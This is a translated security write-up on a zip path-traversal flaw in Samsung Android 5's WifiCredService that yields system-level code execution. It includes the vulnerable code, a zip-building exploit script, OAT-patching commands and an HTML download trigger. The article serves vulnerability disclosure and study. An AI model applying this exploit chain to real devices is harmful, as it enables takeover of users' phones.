netwind · 2015/11/26 14:24

From:http://blog.quarkslab.com/remote-code-execution-as-system-user-on-android-5-samsung-devices-abusing-wificredservice-hotspot-20.html

0x00摘要


该漏洞在几个月前被Google Project Zero和Quarkslab团队发现,最近才被披露出来。该漏洞只需用户浏览一个网站或下载一个邮件附件或通过基本没有任何权限的第三方恶意程序就可以触发,据目前掌握的情况,该漏洞在所有三星安卓5.0设备上都可以以系统用户身份进行远程代码执行。

0x01 漏洞概述


在三星安卓5.0设备上,有一个系统进程通过使用基于inotify机制的一个JAVA 对象FileObserver,来对设备目录/sdcard/Download/进行文件监控。当一个文件以cred开头并且以.zip为后缀的压缩包文件在上述目录被创建时,系统会调用一个解压例程在/data/bundle/目录解压这个文件,并在解压完毕后把压缩包文件从/sdcard/Download/目录里删除。

不幸的是,系统没有对压缩包里的文件名进行任何验证,那就意味着一个以../开头的文件将会被解压到/data/bundle/以外的目录。这样就会导致攻击者可以以系统权限写任意内容到任意目录。那么如果我们通过解压例程精心构造一个目录,在当前系统用户权限允许的情况下覆盖该目录里的文件,最终必然会导致任意代码执行。

假如Google Chrome等浏览器保存下载文件的目录或者Gmail保存附件的目录为/sdcard/Download/,这样一个远程代码执行漏洞就会产生。

0x02 攻击场景


根据我们的研究,以下场景可以利用该漏洞进行攻击:

  • 通过任何浏览器(包括Google Chrome)浏览一个网页
  • 通过Gmail下载一个附件
  • 安装一个没有权限的安卓应用

0x03 如何检测该漏洞?


为了快速、方便检测该漏洞,我们在google开源工程Android VTS (play.google.com/store/apps/…).上提供了一个模块。这样安装了Android VTS就可以检测设备是否存在漏洞。

漏洞检测效果如图:

0x04 细节分析


以下分析在三星Galaxy S6上进行,存在漏洞代码的应用为Hs20Settings.apk,它注册了一个名为WifiHs20BroadcastReceiver的BroadcastReceiver(广播接收服务),该服务在应用启动的时候就会被执行,或者在某些WIFI事件(例如android.net.wifi.STATE_CHANGE)产生的时也会被执行。

我们要记住一点,漏洞代码可以在设备的任何一个地方。比如在 Samsung Galaxy S5设备上,漏洞代码存在于SecSettings.apk里。

当BroadcastReceiver被之前所述的事件触发后,下面的代码将会被执行:

#!java
public void onReceive(Context context, Intent intent) {[...]String action = intent.getAction();[...]if("android.intent.action.BOOT_COMPLETED".equals(action)) {serviceIntent = new Intent(context, WifiHs20UtilityService.class);args = new Bundle();args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);serviceIntent.putExtras(args);context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);}[...]
}
复制代码

每接收到一个事件,就会创建一个Intent,从而产生一个 WifiHs20UtilityService服务。在服务的构造函数里,特别是onCreate()方法里,我们可以看到新的对象 WifiHs20CredFileObserver的创建过程:

#!java
public void onCreate() {super.onCreate();Log.i("Hs20UtilService", "onCreate");[...]WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(this,Environment.getExternalStorageDirectory().toString() + "/Download/");WifiHs20UtilityService.credFileObserver.startWatching();[...]
}
复制代码

WifiHs20CredFileObserver被定义为FileObserver的子类:

 class WifiHs20CredFileObserver extends FileObserver {
复制代码

FileObserver对象在以下安卓文档里被定义[3]:

监控任何进程对文件的访问和改动,FileObserver 是一个摘要类,子类必须提供事件句柄onEvent(int, String)。每一个FileObserver实例监控一个文件或者目录。如果一个目录被监控,那么目录里面的所有文件以及子目录都会被监控。

通过事件掩码来定义针对文件的改变或操作。根据事件类型常量来描述在事件掩码里可能的改变以及事件回调的实际情况。

公共构造函数必须定义一个路径和一个事件掩码:

FileObserver(String path, int mask)
复制代码

WifiHs20CredFileObserver的构造函数如下:

#!java
public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {WifiHs20UtilityService.this = arg2;super(path, 0xFFF);this.pathToWatch = path;
}
复制代码

上面代码片段中,FileObserver监控着 /sdcard/Download/目录里所有有效类型的事件,实际上,掩码 0xFFF代表的就是FileObserver.ALL_EVENTS。为了搞明白事件接收时的操作,我们必须看一下在WifiHs20CredFileObserver里重写方法的事件函数 onEvent():

#!java
public void onEvent(int event, String fileName) {WifiInfo wifiInfo;Iterator i$;String credInfo;if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName.endsWith(".zip")))) {Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +event);if(fileName.endsWith(".conf")) {try {credInfo = this.readSdcard(this.pathToWatch + fileName);if(credInfo == null) {return;}   new File(this.pathToWatch + fileName).delete();i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();while(i$.hasNext()) {WifiHs20Timer.access$500(i$.next()).cancel();}   WifiHs20UtilityService.this.expiryTimerList.clear();WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();if(!wifiInfo.isCaptivePortal()) {return;}   if(wifiInfo.getNetworkId() == -1) {return;}   WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager.getConnectionInfo().getNetworkId(), null);}catch(Exception e) {e.printStackTrace();}   return;}   if(fileName.endsWith(".zip")) {String zipFile = this.pathToWatch + "/cred.zip";String unzipLocation = "/data/bundle/";if(!this.installPathExists()) {return;}   this.unzip(zipFile, unzipLocation);new File(zipFile).delete();credInfo = this.loadCred(unzipLocation);if(credInfo == null) {return;}   i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();while(i$.hasNext()) {WifiHs20Timer.access$500(i$.next()).cancel();}   WifiHs20UtilityService.this.expiryTimerList.clear();Message msg = new Message();Bundle b = new Bundle();b.putString("cred", credInfo);msg.obj = b;msg.what = 42;WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();if(!wifiInfo.isCaptivePortal()) {return;}   if(wifiInfo.getNetworkId() == -1) {return;}   WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager.getConnectionInfo().getNetworkId(), null);}}
}
复制代码

当一个 type 为8 (FileObserver.CLOSE_WRITE) 的事件被接收到时,开始对文件名进行一些检查,当文件名以 cred 开头并以.zip或.conf结尾时,就会进行一些处理。其他情况 FileObserver将不做处理。

当受监控的文件被写入监视目录时,会发生两个场景:

  • .conf文件:服务通过readSdcard()读取文件,然后通过 WifiManager.modifyPasspointCred()进行配置,最后删除.conf文件。
  • .zip文件:首先解压并释放到 /data/bundle/目录,然后通过loadCred()读取解压的cred.conf,然后把loadCred()的返回结果作为一个Bundle对象的参数来调用WifiManager.callSECApi()函数,解压完毕后.zip会被删除。

我们只对第二个场景感兴趣。通过标准ZipInputStream类进行解压时,它有一个广为人知的问题[4],就是如果不对文件名进行验证的时候,就会产生一个文件遍历漏洞。这个漏洞有点类似于 @fuzion24报告的三星键盘更新机制的漏洞[5]。

下面是精简后的unzip()函数代码,为了便于观看,try/catch 标签被删除了:

#!java
private void unzip(String _zipFile, String _location) {FileInputStream fin = new FileInputStream(_zipFile);ZipInputStream zin = new ZipInputStream(((InputStream)fin)); ZipEntry zentry; /* check if we need to create some directories ... */while(true) {label_5:zentry = zin.getNextEntry();if(zentry == null) {// exit}    Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());if(!zentry.isDirectory()) {break;}/* if the directory does'nt exist, the _dirChecker will create it */this._dirChecker(_location, zentry.getName());}    FileOutputStream fout = new FileOutputStream(_location + zentry.getName());  int c;for(c = zin.read(); c != -1; c = zin.read()) {if(fout != null) {fout.write(c);}}    if(zin != null) {zin.closeEntry();}    if(fout == null) {goto label_45;}    fout.close();
label_45:MimeTypeMap type = MimeTypeMap.getSingleton();String fileName = new String(zentry.getName());int i = fileName.lastIndexOf(46);if(i <= 0) {goto label_5;}    String v2 = fileName.substring(i + 1);Log.v("Hs20UtilService", "Ext" + v2);Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));goto label_5;}}
复制代码

从上面代码可以看到,没有对文件遍历问题进行验证。因此,如果我们把cred.zip 或者cred[something].zip 写进 /sdcard/Download/目录,WifiHs20CredFileObserver会自动(没有其他用户干预时)解压文件到/data/bundle/ 目录,并删除.zip文件。由于没有对.zip里的文件名进行验证,任何一个以../开头的文件,都会被解压到/data/bundle/以外,并且已存在的文件会被覆盖,同时解压操作是以系统用户身份进行的。

现在,我们来思考一下怎么进行代码执行。

0x05 漏洞攻击


首先我们构造一个任意文件名的zip文件,用 python脚本很容易实现:

#!python
from zipfile import ZipFile with ZipFile("cred.zip", "w") as z:z.writestr("../../path/filename", open("file", "rb").read())
复制代码

现在,怎么进行代码执行呢?当你有以系统用户身份写任意数据到任何地方的能力的时候,一个经典的做法就是覆盖dalvik-cache。安卓5.0 dalvikvm已经被ART runtime替代。和ODEX 文件一样,压缩包管理器通过调用dex2oat来生成 .apk 里面的OAT文件,并把文件以.dex为后缀写入到/data/dalvik-cache/目录。因此,最终我们依然可以通过这种方法进行代码执行。

不幸是(依据你自身的环境,也可能不是这种坏的情况),覆盖dalvik-cache来进行代码执行现在非常困难。对于现在的ROM,dalvik-cach目录的控制权掌握在root用户里,并且 SELinux[6][7]对写权限有严格限制。

一些老的三星ROM,比如 G900FXXU1BNL9 或 G900FXXU1BOB7,并没有这些SELinux[6][7]限制,这些设备漏洞是比较容易利用的。这设备的ROM里,虽然dalvik-cache的宿主是root,但是没有那些规则限制,不会阻止我们覆盖dalvik-cache。文章里我们将以这些ROM为例来进行漏洞分析,因为本文重点不是来分析如何通过覆盖dalvik-cache以外的方法来进行代码执行。

现在,我们有了一个可以被攻击的ROM,我们还需要找到一个目标应用(以系统用户身份运行),以便来改写它的OAT文件,同时我们还要精心构造我们自己的OAT文件。

找到一个好的安卓目标应用程序并非易事,我们必须在记住以下3点:

  1. 解压例程是JAVA代码编写的,加压的时候是一字节一字节进行,对于大文件非常慢。
  2. 覆盖正在运行的应用的OAT文件,可能会导致该应用崩溃,并且不会非常稳定 :)。
  3. 你将如何通过该应用来进行代码执行?

实际上,我们需要找一个小的OAT文件,但想要安全的覆盖它几乎不可能。

这里比较完美的一个选择如下:

[email protected]:/ $ ls -al [email protected]@[email protected]@classes.dex
-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 [email protected]@[email protected]@classes.dex
复制代码

观察这个应用的manifest文件,发现它有自动运行的能力,它通过注册一个 BroadcastReceiver服务,监听android.intent.action.BOOT_COMPLETED事件来自动运行:

#!html
<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android"><application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">[...]<receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /><action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" /></intent-filter></receiver>[...]</application>
</manifest>
复制代码

因此,如果我们把我们自己的代码放在AccessControlReceiver类的onReceive()方法里,设备每次启动的时候我们的代码也会被执行。

下面让我们验证一下。

首先我们需要获得 AccessControl应用的原始代码:

> adb pull /system/app/AccessControl/arm/ .
pull: building file list...
pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz
2 files pulled. 0 files skipped.
273 KB/s (72428 bytes in 0.258s)
> ls
AccessControl.odex.art.xz  AccessControl.odex.xz
> xz -d *
> file *
AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
AccessControl.odex.art: data
复制代码

我们获得了ART ELF (OAT)文件,但是我们需要修改它的dalvik字节码,我们可以通过oat2dex utility [8]来产生相应的dalvik字节码:

> python oat2dex.py /tmp/art/AccessControl.odex
Processing '/tmp/art/AccessControl.odex'
Found DEX signature at offset 0x2004
Got DEX size: 0xe944
Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'
> file *
[...]
AccessControl.odex.0x2004.dex: Dalvik dex file version 035
[...]
> baksmali AccessControl.odex.0x2004.dex -o smali
复制代码

然后我们对AccessControlReceiver进行补丁,以增加我们的代码到它的 onReceive()方法里:

> find smali/ -iname '*receiver*'
smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
[...]
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V.registers 10 +  # adding the following code:
+  const-string v0, "sh4ka"
+  const-string v1, "boom!"
+  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I
[...]
> smali smali/ -o classes.dex
复制代码

通过我们修改过的DEX来重建ART ELF file (OAT)文件,我们需要用dex2oat命令[9]行来进行:

> adb pull /system/app/AccessControl/AccessControl.apk .
1462 KB/s (259095 bytes in 0.173s)
> sudo chattr +i AccessControl.apk
> cp AccessControl.apk Modded.apk
> zip -q Modded.apk classes.dex
> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'
43
> python -c 'print 43-len("/data/local/tmp/Modded.apk")'
17
> mv Modded.apk Modded$(python -c 'print "1"*17').apk
> ls
AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali
> adb push Modded11111111111111111.apk /data/local/tmp
1144 KB/s (284328 bytes in 0.242s)
> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat
> adb pull /data/local/tmp/modified.oat .
1208 KB/s (172464 bytes in 0.139s)
> file modified.oat
modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat
复制代码

最后,我们通过创建好的ZIP文件来对这个漏洞进行攻击:

> cat injectzip.py
import sys
from zipfile import ZipFile with ZipFile("cred.zip","w") as z:z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())
> python injectzip.py ../../../../../..[email protected]@[email protected]@classes.dex /tmp/art/modified.oat
> zipinfo cred.zip
Archive:  cred.zip
Zip file size: 172750 bytes, number of entries: 1
?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../..[email protected]@[email protected]@classes.dex
1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%
复制代码

这里有很多方法来触发漏洞,比如访问一个网页,强制让浏览器下载ZIP文件:

#!html
<html>
<head><script type="text/javascript">document.location="/cred.zip";</script></head>
<body></body>
</html>
复制代码

或者为了方便方便测试,我们用adb命令发送一个文件到/sdcard/Download/:

> adb push cred.zip /sdcard/Download/
> adb logcat WifiCredService:V *:S
--------- beginning of main
--------- beginning of system
I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8
V/WifiCredService( 4599): Unzipping********** ../../../../../..[email protected]@[email protected]@classes.dex
V/WifiCredService( 4599): Extdex
V/WifiCredService( 4599): Mime Typenull
复制代码

下次重启后,将会显示下面的信息:

> adb reboot; adb logcat sh4ka:V *:S
- waiting for device -
--------- beginning of system
--------- beginning of main
F/sh4ka   ( 3613): boom!
复制代码

上述过程证明了我们通过覆盖 dalvik-cache来进行代码执行。当然这个方法并不完美,因为在不利的设备或者比较特别的ROM上,我们要苦心的构造OAT文件。测试该漏洞,需要多个操作步骤。首先我们让设备以一个低权限用户身份运行,同时精力集中在稳定性上(比如不覆盖 dalvik-cache文件)。然后我们以低权限身份访问系统,直接利用设备上的dex2oat工具来为 AccessControl.apk建立一个兼容的OAT文件,最后在SDCard上创建一个包含了自己的OAT文件的名字类似 cred[something].zip的ZIP文件,覆盖掉 dalvik-cache,最后获得系统权限的代码执行。

0x06 总结


如文中所见,OEM定制仍然是安卓安全中最薄弱的环节。当你的智能手机给你一个机会,可以通过一个逻辑漏洞来获得一个100%稳定的exploit,你会愿意绕过沙箱或者击败系统保护机制(ASLR/canary/...) 来获得这个稳定的exploit吗?

再次强调一下,该漏洞产生的根本原因是通过ZipInputStream进行解压操作的时候没有对文件名进行验证而造成的。当然,将来可能这里会有一些验证…………。

0x07 引用


  • (0)code.google.com/p/google-se…
  • (1)github.com/nowsecure/a…
  • (2)github.com/nowsecure/a…
  • (3)developer.android.com/reference/a…
  • (4)www.securecoding.cert.org/confluence/…
  • (5)www.nowsecure.com/keyboard-vu…
  • (6)android-review.googlesource.com/#/c/155000/
  • (7)android-review.googlesource.com/#/c/127710/
  • (8)github.com/jakev/oat2d…
  • (9)www.blackhat.com/docs/asia-1…

三星安卓5.0设备WifiCredService 远程代码执行相关推荐

  1. [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  2. 三星s4 android8,三星可升级安卓8.0设备名单泄露 S6无缘

    中关村在线消息:现阶段对于大多数手机厂商而言,最重要的事情就是尽快推出基于安卓8.0优化的系统,并对品牌下的机型进行适配.此前,索尼与HTC等厂商在第一时间宣布了支持的机型,但到目前为止,三星也只针对 ...

  3. 三星默认输入法远程代码执行

    路人甲 · 2015/06/17 15:55 Remote Code Execution as System User on Samsung Phones Summary 在能够劫持你的网络前提下,攻 ...

  4. sqlite 0转换为bit_Cisco Talos在SQLite中发现了一个远程代码执行漏洞

    思科Talos的研究人员在SQLite中发现了一个use-after-free() 的漏洞,攻击者可利用该漏洞在受影响设备上远程执行代码. 攻击者可以通过向受影响的SQLite安装发送恶意SQL命令来 ...

  5. thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞

     漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...

  6. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  7. 远程过程调用失败0x800706be_WordPress5.0 远程代码执行分析

    本文作者:七月火 2019年2月19日,RIPS 团队官方博客放出 WordPress5.0.0 RCE 漏洞详情,漏洞利用比较有趣,但其中多处细节部分并未放出,特别是其中利用到的 LFI 并未指明, ...

  8. layuiajax提交表单控制层代码_漏洞预警|ThinkPHP 5.0 远程代码执行

    漏洞预警|ThinkPHP 5.0 远程代码执行 2019-01-11 事件来源 2019年1月11日,ThinkPHP Github仓库发布了新的版本v5.0.24,包含重要的安全更新,山石安服团队 ...

  9. thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析

    ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性.但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏 ...

最新文章

  1. 3D视觉原理之深度暗示(即立体感)
  2. python常见的特异点
  3. 双边滤波+ 通俗自己理解
  4. 新浪微博Anroid开发(二)
  5. Mybatis(15)Mybatis延迟加载/缓存
  6. ORACLE 11g安装图解
  7. AD16更改器件封装如管脚间距等常规设置
  8. springMVC helloworld入门
  9. 机器人控制算法----模糊控制
  10. mysql 存储过程 汉字取拼音或者首字母
  11. JavaWeb框架三剑客前言
  12. 微信小程序点击事件(bindtap)传递参数的方法
  13. 酒店管理系统(功能结构图、流程图)
  14. 案例 7-1.3 寻找大富翁(25 分)
  15. 中职计算机应用综合试题精选,2015中职计算机应用专业全真模拟试卷(一).doc...
  16. 鸿蒙系统荣耀新机,鸿蒙系统要来了?网传荣耀新机搭载鸿蒙 OS
  17. openssl 交叉编译
  18. 域名是干啥用的?企业自己都记不住的域名还能发挥作用吗?
  19. ubuntu18 usb耳机,ubuntu18.04 调试USB声卡
  20. 动物叫声合集v1.0支持25种动物叫声模拟

热门文章

  1. vs2008中英文版下载-VS2008注册码序列号--vs2008破解方法
  2. 数据结构栈的代码实现(C语言)
  3. mysql exists怎么过滤的个人理解
  4. Vue中为什么不能检测数组的变化-01-defineProperty
  5. Binder通信原理
  6. python soup attrs_Python中使用Beautiful Soup库的超详细教程
  7. Jhipster配置redis密码
  8. 修改密码 passwd
  9. 二级Python综合应用(5)《傲慢与偏见》字符统计
  10. StratifiedKFold(分类)和Kfold(回归)的区别